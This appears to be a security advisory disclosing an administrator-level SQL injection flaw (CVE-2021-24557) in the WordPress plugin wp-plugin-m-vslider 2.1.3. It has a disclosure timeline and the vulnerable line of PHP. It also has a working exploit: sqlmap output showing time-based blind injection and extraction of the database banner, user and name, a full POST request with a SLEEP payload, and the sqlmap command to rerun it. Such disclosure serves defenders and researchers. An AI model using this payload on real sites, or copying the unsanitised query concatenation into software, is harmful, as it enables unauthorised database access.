

[Wp Plugin M Vslider](#)

Plugin Details

Plugin Name: [wp-plugin-m-vslider](#)

Effectuated Version : 2.1.3 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24557

Identified by : [Shreya Pohekar](#)

[WPScan Reference URL](#)

Disclosure Timeline

- May 14, 2021: Issue Identified and Disclosed to WPScan
- May 19, 2021: Plugin Closed
- July 20, 2021: CVE Assigned
- July 23, 2021: Public Disclosure

Technical Details

The update functionality in the `rslider_page` uses `rs_id` as a POST parameter that is not validated, sanitised or escaped before being inserted in sql query, therefore leading to SQL injection for users having Administrator role.\n

Vulnerable Code: [rslider.php#L374](#).

```
374:      $updatequery .= " WHERE rs_id = " . $_POST['rs_id'];
```

PoC Screenshot

```
[11:32:11] [WARNING] time-based comparison requires larger statistical model, please wait... (done)
[11:32:24] [INFO] POST parameter 'rs_id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[11:32:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:32:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:32:35] [INFO] checking if the injection point on POST parameter 'rs_id' is a false positive
POST parameter 'rs_id' is vulnerable. Do you want to keep testing the others (if any)? [Y/N] Y
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: rs_id (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: t:Options+process&rs_id=2 AND (SELECT 9727 FROM (SELECT(SLEEP(5)))KZ0Z)&rs_name=asd&rs_width=250&rs_height=250&rs_animstyle=fade&rs_slices=15&rs_boxCols=8&rs_boxRows=4&rs_theme=bar&rs_type=sequence&rs_speed=1300&rs_timeout=5&rs_css=margin: 0px 0px 0px 0px;padding: 0;border: none;&rs_img0=&rs_lnk0=&rs_cap0=&rs_img1=&rs_lnk1=&rs_cap1=&rs_img2=&rs_lnk2=&rs_cap2=&rs_img3=&rs_lnk3=&rs_cap3=&rs_img4=&rs_lnk4=&rs_cap4=&rs_totallinks=5&save=Save Settings
---
[11:32:56] [INFO] the back-end DBMS is MySQL
[11:32:56] [INFO] fetching banner
[11:32:56] [INFO] retrieved:
[11:32:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[11:33:21] [INFO] adjusting time delay to 3 seconds due to good response times
8.0.23-0ubuntu0.20.04.1
back-end DBMS: MySQL
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.23-0ubuntu0.20.04.1'
[11:38:52] [INFO] fetching current user
[11:38:52] [INFO] retrieved: bob@localhost
current user: bob@localhost
[11:41:19] [INFO] fetching current database
[11:41:19] [INFO] retrieved: wp
current database: wp
```

Exploit

```
POST /wp-admin/admin.php?page=rslider_page&updated=true HTTP/1.1
Host: 172.28.128.50
Content-Length: 424
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Referer: http://172.28.128.50/wp-admin/admin.php?page=rslider_page
Accept-Language: en-US,en;q=0.9
Cookie: spf-last-metabox-tab-12-_sptp_generator=_sptp_generator_1; spf-last-metabox-tab-14-_sptp_generator=_sptp_generator_1;
Connection: close

tcoptions=process&rs_id=2%20AND%20(SELECT%209727%20FROM%20(SELECT(SLEEP(5)))KZ0Z)&rs_name=asd&rs_width=250&rs_height=250&rs_an
```

SQLMap Command

```
sqlmap -r m-vslider.req --dbms mysql --current-user --current-db -b -p rs_id
```